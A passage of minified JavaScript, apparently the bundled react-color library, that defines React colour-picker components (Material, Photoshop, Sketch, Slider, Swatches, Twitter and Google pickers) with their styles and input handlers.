"+n,outline:"none",height:"30px"},HEXlabel:{position:"absolute",top:"0px",left:"0px",fontSize:"11px",color:"#999999",textTransform:"capitalize"},Hex:{style:{}},RGBwrap:{position:"relative"},RGBinput:{width:"100%",marginTop:"12px",fontSize:"15px",color:"#333",padding:"0px",border:"0px",borderBottom:"1px solid #eee",outline:"none",height:"30px"},RGBlabel:{position:"absolute",top:"0px",left:"0px",fontSize:"11px",color:"#999999",textTransform:"capitalize"},split:{display:"flex",marginRight:"-10px",paddingTop:"11px"},third:{flex:"1",paddingRight:"10px"}}},i)),c=function(e,n){e.hex?sW(e.hex)&&t({hex:e.hex,source:"hex"},n):(e.r||e.g||e.b)&&t({r:e.r||r.r,g:e.g||r.g,b:e.b||r.b,source:"rgb"},n)};return s.a.createElement(YG,{styles:i},s.a.createElement("div",{style:u.material,className:"material-picker "+l},s.a.createElement(IU,{style:{wrap:u.HEXwrap,input:u.HEXinput,label:u.HEXlabel},label:"hex",value:n,onChange:c}),s.a.createElement("div",{style:u.split,className:"flexbox-fix"},s.a.createElement("div",{style:u.third},s.a.createElement(IU,{style:{wrap:u.RGBwrap,input:u.RGBinput,label:u.RGBlabel},label:"r",value:r.r,onChange:c})),s.a.createElement("div",{style:u.third},s.a.createElement(IU,{style:{wrap:u.RGBwrap,input:u.RGBinput,label:u.RGBlabel},label:"g",value:r.g,onChange:c})),s.a.createElement("div",{style:u.third},s.a.createElement(IU,{style:{wrap:u.RGBwrap,input:u.RGBinput,label:u.RGBlabel},label:"b",value:r.b,onChange:c})))))}));var fq=function(e){var t=e.onChange,n=e.rgb,r=e.hsv,o=e.hex,i=wU()({default:{fields:{paddingTop:"5px",paddingBottom:"9px",width:"80px",position:"relative"},divider:{height:"5px"},RGBwrap:{position:"relative"},RGBinput:{marginLeft:"40%",width:"40%",height:"18px",border:"1px solid #888888",boxShadow:"inset 0 1px 1px rgba(0,0,0,.1), 0 1px 0 0 #ECECEC",marginBottom:"5px",fontSize:"13px",paddingLeft:"3px",marginRight:"10px"},RGBlabel:{left:"0px",top:"0px",width:"34px",textTransform:"uppercase",fontSize:"13px",height:"18px",lineHeight:"22px",position:"absolute"},HEXwrap:{position:"relative"},HEXinput:{marginLeft:"20%",width:"80%",height:"18px",border:"1px solid #888888",boxShadow:"inset 0 1px 1px rgba(0,0,0,.1), 0 1px 0 0 #ECECEC",marginBottom:"6px",fontSize:"13px",paddingLeft:"3px"},HEXlabel:{position:"absolute",top:"0px",left:"0px",width:"14px",textTransform:"uppercase",fontSize:"13px",height:"18px",lineHeight:"22px"},fieldSymbols:{position:"absolute",top:"5px",right:"-7px",fontSize:"13px"},symbol:{height:"20px",lineHeight:"22px",paddingBottom:"7px"}}}),a=function(e,o){e["#"]?sW(e["#"])&&t({hex:e["#"],source:"hex"},o):e.r||e.g||e.b?t({r:e.r||n.r,g:e.g||n.g,b:e.b||n.b,source:"rgb"},o):(e.h||e.s||e.v)&&t({h:e.h||r.h,s:e.s||r.s,v:e.v||r.v,source:"hsv"},o)};return s.a.createElement("div",{style:i.fields},s.a.createElement(IU,{style:{wrap:i.RGBwrap,input:i.RGBinput,label:i.RGBlabel},label:"h",value:Math.round(r.h),onChange:a}),s.a.createElement(IU,{style:{wrap:i.RGBwrap,input:i.RGBinput,label:i.RGBlabel},label:"s",value:Math.round(100*r.s),onChange:a}),s.a.createElement(IU,{style:{wrap:i.RGBwrap,input:i.RGBinput,label:i.RGBlabel},label:"v",value:Math.round(100*r.v),onChange:a}),s.a.createElement("div",{style:i.divider}),s.a.createElement(IU,{style:{wrap:i.RGBwrap,input:i.RGBinput,label:i.RGBlabel},label:"r",value:n.r,onChange:a}),s.a.createElement(IU,{style:{wrap:i.RGBwrap,input:i.RGBinput,label:i.RGBlabel},label:"g",value:n.g,onChange:a}),s.a.createElement(IU,{style:{wrap:i.RGBwrap,input:i.RGBinput,label:i.RGBlabel},label:"b",value:n.b,onChange:a}),s.a.createElement("div",{style:i.divider}),s.a.createElement(IU,{style:{wrap:i.HEXwrap,input:i.HEXinput,label:i.HEXlabel},label:"#",value:o.replace("#",""),onChange:a}),s.a.createElement("div",{style:i.fieldSymbols},s.a.createElement("div",{style:i.symbol},"°"),s.a.createElement("div",{style:i.symbol},"%"),s.a.createElement("div",{style:i.symbol},"%")))},dq=function(e){var t=e.hsl,n=wU()({default:{picker:{width:"12px",height:"12px",borderRadius:"6px",boxShadow:"inset 0 0 0 1px #fff",transform:"translate(-6px, -6px)"}},"black-outline":{picker:{boxShadow:"inset 0 0 0 1px #000"}}},{"black-outline":t.l>.5});return s.a.createElement("div",{style:n.picker})},pq=function(){var e=wU()({default:{triangle:{width:0,height:0,borderStyle:"solid",borderWidth:"4px 0 4px 6px",borderColor:"transparent transparent transparent #fff",position:"absolute",top:"1px",left:"1px"},triangleBorder:{width:0,height:0,borderStyle:"solid",borderWidth:"5px 0 5px 8px",borderColor:"transparent transparent transparent #555"},left:{Extend:"triangleBorder",transform:"translate(-13px, -4px)"},leftInside:{Extend:"triangle",transform:"translate(-8px, -5px)"},right:{Extend:"triangleBorder",transform:"translate(20px, -14px) rotate(180deg)"},rightInside:{Extend:"triangle",transform:"translate(-8px, -5px)"}}});return s.a.createElement("div",{style:e.pointer},s.a.createElement("div",{style:e.left},s.a.createElement("div",{style:e.leftInside})),s.a.createElement("div",{style:e.right},s.a.createElement("div",{style:e.rightInside})))},hq=function(e){var t=e.onClick,n=e.label,r=e.children,o=e.active,i=wU()({default:{button:{backgroundImage:"linear-gradient(-180deg, #FFFFFF 0%, #E6E6E6 100%)",border:"1px solid #878787",borderRadius:"2px",height:"20px",boxShadow:"0 1px 0 0 #EAEAEA",fontSize:"14px",color:"#000",lineHeight:"20px",textAlign:"center",marginBottom:"10px",cursor:"pointer"}},active:{button:{boxShadow:"0 0 0 1px #878787"}}},{active:o});return s.a.createElement("div",{style:i.button,onClick:t},n||r)},mq=function(e){var t=e.rgb,n=e.currentColor,r=wU()({default:{swatches:{border:"1px solid #B3B3B3",borderBottom:"1px solid #F0F0F0",marginBottom:"2px",marginTop:"1px"},new:{height:"34px",background:"rgb("+t.r+","+t.g+", "+t.b+")",boxShadow:"inset 1px 0 0 #000, inset -1px 0 0 #000, inset 0 1px 0 #000"},current:{height:"34px",background:n,boxShadow:"inset 1px 0 0 #000, inset -1px 0 0 #000, inset 0 -1px 0 #000"},label:{fontSize:"14px",color:"#000",textAlign:"center"}}});return s.a.createElement("div",null,s.a.createElement("div",{style:r.label},"new"),s.a.createElement("div",{style:r.swatches},s.a.createElement("div",{style:r.new}),s.a.createElement("div",{style:r.current})),s.a.createElement("div",{style:r.label},"current"))},gq=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();var vq=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this));return n.state={currentColor:e.hex},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),gq(t,[{key:"render",value:function(){var e=this.props,t=e.styles,n=void 0===t?{}:t,r=e.className,o=void 0===r?"":r,i=wU()(qG({default:{picker:{background:"#DCDCDC",borderRadius:"4px",boxShadow:"0 0 0 1px rgba(0,0,0,.25), 0 8px 16px rgba(0,0,0,.15)",boxSizing:"initial",width:"513px"},head:{backgroundImage:"linear-gradient(-180deg, #F0F0F0 0%, #D4D4D4 100%)",borderBottom:"1px solid #B1B1B1",boxShadow:"inset 0 1px 0 0 rgba(255,255,255,.2), inset 0 -1px 0 0 rgba(0,0,0,.02)",height:"23px",lineHeight:"24px",borderRadius:"4px 4px 0 0",fontSize:"13px",color:"#4D4D4D",textAlign:"center"},body:{padding:"15px 15px 0",display:"flex"},saturation:{width:"256px",height:"256px",position:"relative",border:"2px solid #B3B3B3",borderBottom:"2px solid #F0F0F0",overflow:"hidden"},hue:{position:"relative",height:"256px",width:"19px",marginLeft:"10px",border:"2px solid #B3B3B3",borderBottom:"2px solid #F0F0F0"},controls:{width:"180px",marginLeft:"10px"},top:{display:"flex"},previews:{width:"60px"},actions:{flex:"1",marginLeft:"20px"}}},n));return s.a.createElement("div",{style:i.picker,className:"photoshop-picker "+o},s.a.createElement("div",{style:i.head},this.props.header),s.a.createElement("div",{style:i.body,className:"flexbox-fix"},s.a.createElement("div",{style:i.saturation},s.a.createElement(nW,{hsl:this.props.hsl,hsv:this.props.hsv,pointer:dq,onChange:this.props.onChange})),s.a.createElement("div",{style:i.hue},s.a.createElement(HU,{direction:"vertical",hsl:this.props.hsl,pointer:pq,onChange:this.props.onChange})),s.a.createElement("div",{style:i.controls},s.a.createElement("div",{style:i.top,className:"flexbox-fix"},s.a.createElement("div",{style:i.previews},s.a.createElement(mq,{rgb:this.props.rgb,currentColor:this.state.currentColor})),s.a.createElement("div",{style:i.actions},s.a.createElement(hq,{label:"OK",onClick:this.props.onAccept,active:!0}),s.a.createElement(hq,{label:"Cancel",onClick:this.props.onCancel}),s.a.createElement(fq,{onChange:this.props.onChange,rgb:this.props.rgb,hsv:this.props.hsv,hex:this.props.hex}))))))}}]),t}(s.a.Component);vq.propTypes={header:Is.a.string,styles:Is.a.object},vq.defaultProps={header:"Color Picker",styles:{}};pW(vq);var yq=function(e){var t=e.onChange,n=e.rgb,r=e.hsl,o=e.hex,i=e.disableAlpha,a=wU()({default:{fields:{display:"flex",paddingTop:"4px"},single:{flex:"1",paddingLeft:"6px"},alpha:{flex:"1",paddingLeft:"6px"},double:{flex:"2"},input:{width:"80%",padding:"4px 10% 3px",border:"none",boxShadow:"inset 0 0 0 1px #ccc",fontSize:"11px"},label:{display:"block",textAlign:"center",fontSize:"11px",color:"#222",paddingTop:"3px",paddingBottom:"4px",textTransform:"capitalize"}},disableAlpha:{alpha:{display:"none"}}},{disableAlpha:i}),l=function(e,o){e.hex?sW(e.hex)&&t({hex:e.hex,source:"hex"},o):e.r||e.g||e.b?t({r:e.r||n.r,g:e.g||n.g,b:e.b||n.b,a:n.a,source:"rgb"},o):e.a&&(e.a<0?e.a=0:e.a>100&&(e.a=100),e.a/=100,t({h:r.h,s:r.s,l:r.l,a:e.a,source:"rgb"},o))};return s.a.createElement("div",{style:a.fields,className:"flexbox-fix"},s.a.createElement("div",{style:a.double},s.a.createElement(IU,{style:{input:a.input,label:a.label},label:"hex",value:o.replace("#",""),onChange:l})),s.a.createElement("div",{style:a.single},s.a.createElement(IU,{style:{input:a.input,label:a.label},label:"r",value:n.r,onChange:l,dragLabel:"true",dragMax:"255"})),s.a.createElement("div",{style:a.single},s.a.createElement(IU,{style:{input:a.input,label:a.label},label:"g",value:n.g,onChange:l,dragLabel:"true",dragMax:"255"})),s.a.createElement("div",{style:a.single},s.a.createElement(IU,{style:{input:a.input,label:a.label},label:"b",value:n.b,onChange:l,dragLabel:"true",dragMax:"255"})),s.a.createElement("div",{style:a.alpha},s.a.createElement(IU,{style:{input:a.input,label:a.label},label:"a",value:Math.round(100*n.a),onChange:l,dragLabel:"true",dragMax:"100"})))},bq=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},wq=function(e){var t=e.colors,n=e.onClick,r=void 0===n?function(){}:n,o=e.onSwatchHover,i=wU()({default:{colors:{margin:"0 -10px",padding:"10px 0 0 10px",borderTop:"1px solid #eee",display:"flex",flexWrap:"wrap",position:"relative"},swatchWrap:{width:"16px",height:"16px",margin:"0 10px 10px 0"},swatch:{borderRadius:"3px",boxShadow:"inset 0 0 0 1px rgba(0,0,0,.15)"}},"no-presets":{colors:{display:"none"}}},{"no-presets":!t||!t.length}),a=function(e,t){r({hex:e,source:"hex"},t)};return s.a.createElement("div",{style:i.colors,className:"flexbox-fix"},t.map((function(e){var t="string"==typeof e?{color:e}:e,n=""+t.color+(t.title||"");return s.a.createElement("div",{key:n,style:i.swatchWrap},s.a.createElement(wW,bq({},t,{style:i.swatch,onClick:a,onHover:o,focusStyle:{boxShadow:"inset 0 0 0 1px rgba(0,0,0,.15), 0 0 4px "+t.color}})))})))};wq.propTypes={colors:Is.a.arrayOf(Is.a.oneOfType([Is.a.string,Is.a.shape({color:Is.a.string,title:Is.a.string})])).isRequired};var Eq=wq,Sq=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Cq=function(e){var t=e.width,n=e.rgb,r=e.hex,o=e.hsv,i=e.hsl,a=e.onChange,l=e.onSwatchHover,u=e.disableAlpha,c=e.presetColors,f=e.renderers,d=e.styles,p=void 0===d?{}:d,h=e.className,m=void 0===h?"":h,g=wU()(qG({default:Sq({picker:{width:t,padding:"10px 10px 0",boxSizing:"initial",background:"#fff",borderRadius:"4px",boxShadow:"0 0 0 1px rgba(0,0,0,.15), 0 8px 16px rgba(0,0,0,.15)"},saturation:{width:"100%",paddingBottom:"75%",position:"relative",overflow:"hidden"},Saturation:{radius:"3px",shadow:"inset 0 0 0 1px rgba(0,0,0,.15), inset 0 0 4px rgba(0,0,0,.25)"},controls:{display:"flex"},sliders:{padding:"4px 0",flex:"1"},color:{width:"24px",height:"24px",position:"relative",marginTop:"4px",marginLeft:"4px",borderRadius:"3px"},activeColor:{absolute:"0px 0px 0px 0px",borderRadius:"2px",background:"rgba("+n.r+","+n.g+","+n.b+","+n.a+")",boxShadow:"inset 0 0 0 1px rgba(0,0,0,.15), inset 0 0 4px rgba(0,0,0,.25)"},hue:{position:"relative",height:"10px",overflow:"hidden"},Hue:{radius:"2px",shadow:"inset 0 0 0 1px rgba(0,0,0,.15), inset 0 0 4px rgba(0,0,0,.25)"},alpha:{position:"relative",height:"10px",marginTop:"4px",overflow:"hidden"},Alpha:{radius:"2px",shadow:"inset 0 0 0 1px rgba(0,0,0,.15), inset 0 0 4px rgba(0,0,0,.25)"}},p),disableAlpha:{color:{height:"10px"},hue:{height:"10px"},alpha:{display:"none"}}},p),{disableAlpha:u});return s.a.createElement("div",{style:g.picker,className:"sketch-picker "+m},s.a.createElement("div",{style:g.saturation},s.a.createElement(nW,{style:g.Saturation,hsl:i,hsv:o,onChange:a})),s.a.createElement("div",{style:g.controls,className:"flexbox-fix"},s.a.createElement("div",{style:g.sliders},s.a.createElement("div",{style:g.hue},s.a.createElement(HU,{style:g.Hue,hsl:i,onChange:a})),s.a.createElement("div",{style:g.alpha},s.a.createElement(MU,{style:g.Alpha,rgb:n,hsl:i,renderers:f,onChange:a}))),s.a.createElement("div",{style:g.color},s.a.createElement(AU,null),s.a.createElement("div",{style:g.activeColor}))),s.a.createElement(yq,{rgb:n,hsl:i,hex:r,onChange:a,disableAlpha:u}),s.a.createElement(Eq,{colors:c,onClick:a,onSwatchHover:l}))};Cq.propTypes={disableAlpha:Is.a.bool,width:Is.a.oneOfType([Is.a.string,Is.a.number]),styles:Is.a.object},Cq.defaultProps={disableAlpha:!1,width:200,styles:{},presetColors:["#D0021B","#F5A623","#F8E71C","#8B572A","#7ED321","#417505","#BD10E0","#9013FE","#4A90E2","#50E3C2","#B8E986","#000000","#4A4A4A","#9B9B9B","#FFFFFF"]};var xq=pW(Cq),Oq=function(e){var t=e.hsl,n=e.offset,r=e.onClick,o=void 0===r?function(){}:r,i=e.active,a=e.first,l=e.last,u=wU()({default:{swatch:{height:"12px",background:"hsl("+t.h+", 50%, "+100*n+"%)",cursor:"pointer"}},first:{swatch:{borderRadius:"2px 0 0 2px"}},last:{swatch:{borderRadius:"0 2px 2px 0"}},active:{swatch:{transform:"scaleY(1.8)",borderRadius:"3.6px/2px"}}},{active:i,first:a,last:l});return s.a.createElement("div",{style:u.swatch,onClick:function(e){return o({h:t.h,s:.5,l:n,source:"hsl"},e)}})},Aq=function(e){var t=e.onClick,n=e.hsl,r=wU()({default:{swatches:{marginTop:"20px"},swatch:{boxSizing:"border-box",width:"20%",paddingRight:"1px",float:"left"},clear:{clear:"both"}}});return s.a.createElement("div",{style:r.swatches},s.a.createElement("div",{style:r.swatch},s.a.createElement(Oq,{hsl:n,offset:".80",active:Math.abs(n.l-.8)<.1&&Math.abs(n.s-.5)<.1,onClick:t,first:!0})),s.a.createElement("div",{style:r.swatch},s.a.createElement(Oq,{hsl:n,offset:".65",active:Math.abs(n.l-.65)<.1&&Math.abs(n.s-.5)<.1,onClick:t})),s.a.createElement("div",{style:r.swatch},s.a.createElement(Oq,{hsl:n,offset:".50",active:Math.abs(n.l-.5)<.1&&Math.abs(n.s-.5)<.1,onClick:t})),s.a.createElement("div",{style:r.swatch},s.a.createElement(Oq,{hsl:n,offset:".35",active:Math.abs(n.l-.35)<.1&&Math.abs(n.s-.5)<.1,onClick:t})),s.a.createElement("div",{style:r.swatch},s.a.createElement(Oq,{hsl:n,offset:".20",active:Math.abs(n.l-.2)<.1&&Math.abs(n.s-.5)<.1,onClick:t,last:!0})),s.a.createElement("div",{style:r.clear}))},_q=function(){var e=wU()({default:{picker:{width:"14px",height:"14px",borderRadius:"6px",transform:"translate(-7px, -1px)",backgroundColor:"rgb(248, 248, 248)",boxShadow:"0 1px 4px 0 rgba(0, 0, 0, 0.37)"}}});return s.a.createElement("div",{style:e.picker})},Tq=function(e){var t=e.hsl,n=e.onChange,r=e.pointer,o=e.styles,i=void 0===o?{}:o,a=e.className,l=void 0===a?"":a,u=wU()(qG({default:{hue:{height:"12px",position:"relative"},Hue:{radius:"2px"}}},i));return s.a.createElement("div",{style:u.wrap||{},className:"slider-picker "+l},s.a.createElement("div",{style:u.hue},s.a.createElement(HU,{style:u.Hue,hsl:t,pointer:r,onChange:n})),s.a.createElement("div",{style:u.swatches},s.a.createElement(Aq,{hsl:t,onClick:n})))};Tq.propTypes={styles:Is.a.object},Tq.defaultProps={pointer:_q,styles:{}};pW(Tq);var kq=n(321),Pq=n.n(kq),Mq=function(e){var t=e.color,n=e.onClick,r=void 0===n?function(){}:n,o=e.onSwatchHover,i=e.first,a=e.last,l=e.active,u=wU()({default:{color:{width:"40px",height:"24px",cursor:"pointer",background:t,marginBottom:"1px"},check:{color:uW(t),marginLeft:"8px",display:"none"}},first:{color:{overflow:"hidden",borderRadius:"2px 2px 0 0"}},last:{color:{overflow:"hidden",borderRadius:"0 0 2px 2px"}},active:{check:{display:"block"}},"color-#FFFFFF":{color:{boxShadow:"inset 0 0 0 1px #ddd"},check:{color:"#333"}},transparent:{check:{color:"#333"}}},{first:i,last:a,active:l,"color-#FFFFFF":"#FFFFFF"===t,transparent:"transparent"===t});return s.a.createElement(wW,{color:t,style:u.color,onClick:r,onHover:o,focusStyle:{boxShadow:"0 0 4px "+t}},s.a.createElement("div",{style:u.check},s.a.createElement(Pq.a,null)))},Rq=function(e){var t=e.onClick,n=e.onSwatchHover,r=e.group,o=e.active,i=wU()({default:{group:{paddingBottom:"10px",width:"40px",float:"left",marginRight:"10px"}}});return s.a.createElement("div",{style:i.group},xW(r,(function(e,i){return s.a.createElement(Mq,{key:e,color:e,active:e.toLowerCase()===o,first:0===i,last:i===r.length-1,onClick:t,onSwatchHover:n})})))},jq=function(e){var t=e.width,n=e.height,r=e.onChange,o=e.onSwatchHover,i=e.colors,a=e.hex,l=e.styles,u=void 0===l?{}:l,c=e.className,f=void 0===c?"":c,d=wU()(qG({default:{picker:{width:t,height:n},overflow:{height:n,overflowY:"scroll"},body:{padding:"16px 0 6px 16px"},clear:{clear:"both"}}},u)),p=function(e,t){return r({hex:e,source:"hex"},t)};return s.a.createElement("div",{style:d.picker,className:"swatches-picker "+f},s.a.createElement(YG,null,s.a.createElement("div",{style:d.overflow},s.a.createElement("div",{style:d.body},xW(i,(function(e){return s.a.createElement(Rq,{key:e.toString(),group:e,active:a,onClick:p,onSwatchHover:o})})),s.a.createElement("div",{style:d.clear})))))};jq.propTypes={width:Is.a.oneOfType([Is.a.string,Is.a.number]),height:Is.a.oneOfType([Is.a.string,Is.a.number]),colors:Is.a.arrayOf(Is.a.arrayOf(Is.a.string)),styles:Is.a.object},jq.defaultProps={width:320,height:240,colors:[[_W[900],_W[700],_W[500],_W[300],_W[100]],[TW[900],TW[700],TW[500],TW[300],TW[100]],[kW[900],kW[700],kW[500],kW[300],kW[100]],[PW[900],PW[700],PW[500],PW[300],PW[100]],[MW[900],MW[700],MW[500],MW[300],MW[100]],[RW[900],RW[700],RW[500],RW[300],RW[100]],[jW[900],jW[700],jW[500],jW[300],jW[100]],[LW[900],LW[700],LW[500],LW[300],LW[100]],[IW[900],IW[700],IW[500],IW[300],IW[100]],["#194D33",NW[700],NW[500],NW[300],NW[100]],[DW[900],DW[700],DW[500],DW[300],DW[100]],[FW[900],FW[700],FW[500],FW[300],FW[100]],[BW[900],BW[700],BW[500],BW[300],BW[100]],[HW[900],HW[700],HW[500],HW[300],HW[100]],[VW[900],VW[700],VW[500],VW[300],VW[100]],[zW[900],zW[700],zW[500],zW[300],zW[100]],[UW[900],UW[700],UW[500],UW[300],UW[100]],[GW[900],GW[700],GW[500],GW[300],GW[100]],["#000000","#525252","#969696","#D9D9D9","#FFFFFF"]],styles:{}};pW(jq);var Lq=function(e){var t=e.onChange,n=e.onSwatchHover,r=e.hex,o=e.colors,i=e.width,a=e.triangle,l=e.styles,u=void 0===l?{}:l,c=e.className,f=void 0===c?"":c,d=wU()(qG({default:{card:{width:i,background:"#fff",border:"0 solid rgba(0,0,0,0.25)",boxShadow:"0 1px 4px rgba(0,0,0,0.25)",borderRadius:"4px",position:"relative"},body:{padding:"15px 9px 9px 15px"},label:{fontSize:"18px",color:"#fff"},triangle:{width:"0px",height:"0px",borderStyle:"solid",borderWidth:"0 9px 10px 9px",borderColor:"transparent transparent #fff transparent",position:"absolute"},triangleShadow:{width:"0px",height:"0px",borderStyle:"solid",borderWidth:"0 9px 10px 9px",borderColor:"transparent transparent rgba(0,0,0,.1) transparent",position:"absolute"},hash:{background:"#F0F0F0",height:"30px",width:"30px",borderRadius:"4px 0 0 4px",float:"left",color:"#98A1A4",display:"flex",alignItems:"center",justifyContent:"center"},input:{width:"100px",fontSize:"14px",color:"#666",border:"0px",outline:"none",height:"28px",boxShadow:"inset 0 0 0 1px #F0F0F0",boxSizing:"content-box",borderRadius:"0 4px 4px 0",float:"left",paddingLeft:"8px"},swatch:{width:"30px",height:"30px",float:"left",borderRadius:"4px",margin:"0 6px 6px 0"},clear:{clear:"both"}},"hide-triangle":{triangle:{display:"none"},triangleShadow:{display:"none"}},"top-left-triangle":{triangle:{top:"-10px",left:"12px"},triangleShadow:{top:"-11px",left:"12px"}},"top-right-triangle":{triangle:{top:"-10px",right:"12px"},triangleShadow:{top:"-11px",right:"12px"}}},u),{"hide-triangle":"hide"===a,"top-left-triangle":"top-left"===a,"top-right-triangle":"top-right"===a}),p=function(e,n){sW(e)&&t({hex:e,source:"hex"},n)};return s.a.createElement("div",{style:d.card,className:"twitter-picker "+f},s.a.createElement("div",{style:d.triangleShadow}),s.a.createElement("div",{style:d.triangle}),s.a.createElement("div",{style:d.body},xW(o,(function(e,t){return s.a.createElement(wW,{key:t,color:e,hex:e,style:d.swatch,onClick:p,onHover:n,focusStyle:{boxShadow:"0 0 4px "+e}})})),s.a.createElement("div",{style:d.hash},"#"),s.a.createElement(IU,{label:null,style:{input:d.input},value:r.replace("#",""),onChange:p}),s.a.createElement("div",{style:d.clear})))};Lq.propTypes={width:Is.a.oneOfType([Is.a.string,Is.a.number]),triangle:Is.a.oneOf(["hide","top-left","top-right"]),colors:Is.a.arrayOf(Is.a.string),styles:Is.a.object},Lq.defaultProps={width:276,colors:["#FF6900","#FCB900","#7BDCB5","#00D084","#8ED1FC","#0693E3","#ABB8C3","#EB144C","#F78DA7","#9900EF"],triangle:"top-left",styles:{}};pW(Lq);var Iq=function(e){var t=wU()({default:{picker:{width:"20px",height:"20px",borderRadius:"22px",border:"2px #fff solid",transform:"translate(-12px, -13px)",background:"hsl("+Math.round(e.hsl.h)+", "+Math.round(100*e.hsl.s)+"%, "+Math.round(100*e.hsl.l)+"%)"}}});return s.a.createElement("div",{style:t.picker})};Iq.propTypes={hsl:Is.a.shape({h:Is.a.number,s:Is.a.number,l:Is.a.number,a:Is.a.number})},Iq.defaultProps={hsl:{a:1,h:249.94,l:.2,s:.5}};var Nq=Iq,Dq=function(e){var t=wU()({default:{picker:{width:"20px",height:"20px",borderRadius:"22px",transform:"translate(-10px, -7px)",background:"hsl("+Math.round(e.hsl.h)+", 100%, 50%)",border:"2px white solid"}}});return s.a.createElement("div",{style:t.picker})};Dq.propTypes={hsl:Is.a.shape({h:Is.a.number,s:Is.a.number,l:Is.a.number,a:Is.a.number})},Dq.defaultProps={hsl:{a:1,h:249.94,l:.2,s:.5}};var Fq=Dq,Bq=function(e){var t=e.onChange,n=e.rgb,r=e.hsl,o=e.hex,i=e.hsv,a=function(e,n){if(e.hex)sW(e.hex)&&t({hex:e.hex,source:"hex"},n);else if(e.rgb){var r=e.rgb.split(",");cW(e.rgb,"rgb")&&t({r:r[0],g:r[1],b:r[2],a:1,source:"rgb"},n)}else if(e.hsv){var o=e.hsv.split(",");cW(e.hsv,"hsv")&&(o[2]=o[2].replace("%",""),o[1]=o[1].replace("%",""),o[0]=o[0].replace("°",""),1==o[1]?o[1]=.01:1==o[2]&&(o[2]=.01),t({h:Number(o[0]),s:Number(o[1]),v:Number(o[2]),source:"hsv"},n))}else if(e.hsl){var i=e.hsl.split(",");cW(e.hsl,"hsl")&&(i[2]=i[2].replace("%",""),i[1]=i[1].replace("%",""),i[0]=i[0].replace("°",""),1==f[1]?f[1]=.01:1==f[2]&&(f[2]=.01),t({h:Number(i[0]),s:Number(i[1]),v:Number(i[2]),source:"hsl"},n))}},l=wU()({default:{wrap:{display:"flex",height:"100px",marginTop:"4px"},fields:{width:"100%"},column:{paddingTop:"10px",display:"flex",justifyContent:"space-between"},double:{padding:"0px 4.4px",boxSizing:"border-box"},input:{width:"100%",height:"38px",boxSizing:"border-box",padding:"4px 10% 3px",textAlign:"center",border:"1px solid #dadce0",fontSize:"11px",textTransform:"lowercase",borderRadius:"5px",outline:"none",fontFamily:"Roboto,Arial,sans-serif"},input2:{height:"38px",width:"100%",border:"1px solid #dadce0",boxSizing:"border-box",fontSize:"11px",textTransform:"lowercase",borderRadius:"5px",outline:"none",paddingLeft:"10px",fontFamily:"Roboto,Arial,sans-serif"},label:{textAlign:"center",fontSize:"12px",background:"#fff",position:"absolute",textTransform:"uppercase",color:"#3c4043",width:"35px",top:"-6px",left:"0",right:"0",marginLeft:"auto",marginRight:"auto",fontFamily:"Roboto,Arial,sans-serif"},label2:{left:"10px",textAlign:"center",fontSize:"12px",background:"#fff",position:"absolute",textTransform:"uppercase",color:"#3c4043",width:"32px",top:"-6px",fontFamily:"Roboto,Arial,sans-serif"},single:{flexGrow:"1",margin:"0px 4.4px"}}}),u=n.r+", "+n.g+", "+n.b,c=Math.round(r.h)+"°, "+Math.round(100*r.s)+"%, "+Math.round(100*r.l)+"%",f=Math.round(i.h)+"°, "+Math.round(100*i.s)+"%, "+Math.round(100*i.v)+"%";return s.a.createElement("div",{style:l.wrap,className:"flexbox-fix"},s.a.createElement("div",{style:l.fields},s.a.createElement("div",{style:l.double},s.a.createElement(IU,{style:{input:l.input,label:l.label},label:"hex",value:o,onChange:a})),s.a.createElement("div",{style:l.column},s.a.createElement("div",{style:l.single},s.a.createElement(IU,{style:{input:l.input2,label:l.label2},label:"rgb",value:u,onChange:a})),s.a.createElement("div",{style:l.single},s.a.createElement(IU,{style:{input:l.input2,label:l.label2},label:"hsv",value:f,onChange:a})),s.a.createElement("div",{style:l.single},s.a.createElement(IU,{style:{input:l.input2,label:l.label2},label:"hsl",value:c,onChange:a})))))},Hq=function(e){var t=e.width,n=e.onChange,r=e.rgb,o=e.hsl,i=e.hsv,a=e.hex,l=e.header,u=e.styles,c=void 0===u?{}:u,f=e.className,d=void 0===f?"":f,p=wU()(qG({default:{picker:{width:t,background:"#fff",border:"1px solid #dfe1e5",boxSizing:"initial",display:"flex",flexWrap:"wrap",borderRadius:"8px 8px 0px 0px"},head:{height:"57px",width:"100%",paddingTop:"16px",paddingBottom:"16px",paddingLeft:"16px",fontSize:"20px",boxSizing:"border-box",fontFamily:"Roboto-Regular,HelveticaNeue,Arial,sans-serif"},saturation:{width:"70%",padding:"0px",position:"relative",overflow:"hidden"},swatch:{width:"30%",height:"228px",padding:"0px",background:"rgba("+r.r+", "+r.g+", "+r.b+", 1)",position:"relative",overflow:"hidden"},body:{margin:"auto",width:"95%"},controls:{display:"flex",boxSizing:"border-box",height:"52px",paddingTop:"22px"},color:{width:"32px"},hue:{height:"8px",position:"relative",margin:"0px 16px 0px 16px",width:"100%"},Hue:{radius:"2px"}}},c));return s.a.createElement("div",{style:p.picker,className:"google-picker 